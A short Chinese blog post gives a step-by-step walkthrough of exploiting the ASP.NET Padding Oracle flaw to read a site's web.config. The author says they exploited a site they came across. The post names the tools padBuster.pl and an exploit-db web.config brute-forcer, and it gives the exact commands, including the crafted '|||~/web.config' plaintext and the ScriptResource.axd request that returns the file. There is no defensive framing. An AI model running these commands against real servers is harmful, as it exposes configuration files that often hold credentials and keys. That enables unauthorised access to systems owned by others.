[实战]ASP.NET Padding Oracle信息泄露漏洞

前言

这个漏洞是很多年前的了，刚好碰到网站有这个漏洞，利用一下也记录一下。具体原理请搜索学习，反正我不会。

推荐看这里，写得很清楚：http://www.91ri.org/6715.html

工具

padBuster.pl：https://github.com/AonCyberLabs/PadBuster

Webconfig Bruter.pl ：https://www.exploit-db.com/exploits/15213

利用

打开网站右键查看网页源代码搜索 WebResource.axd

WebResource.axd?d=.....   # 这里的加密字符串一般太长好像利用不了

读取 web.config 文件

./padBuster.pl http://127.0.0.1/WebResource.axd?d=我是加密字符串 我是加密字符串 16 -encoding 3 -plaintext "|||~/web.config"

这个时候输入 2

成功拿到 web.config 的 URL 加密字符串

使用工具获取加密字符串 (读取内容)，经过快半小时的等待时间（要等很久）成功读取到内容

perl Bruter.pl http://127.0.0.1/ScriptResource.axd 上面的加密字符串 16

下面还有加密的字符串，和URL拼接在浏览器访问

http://127.0.0.1/ScriptResource.axd?d=-我是加密的字符串AAAAAAAAAAAAAAAAAAA0

...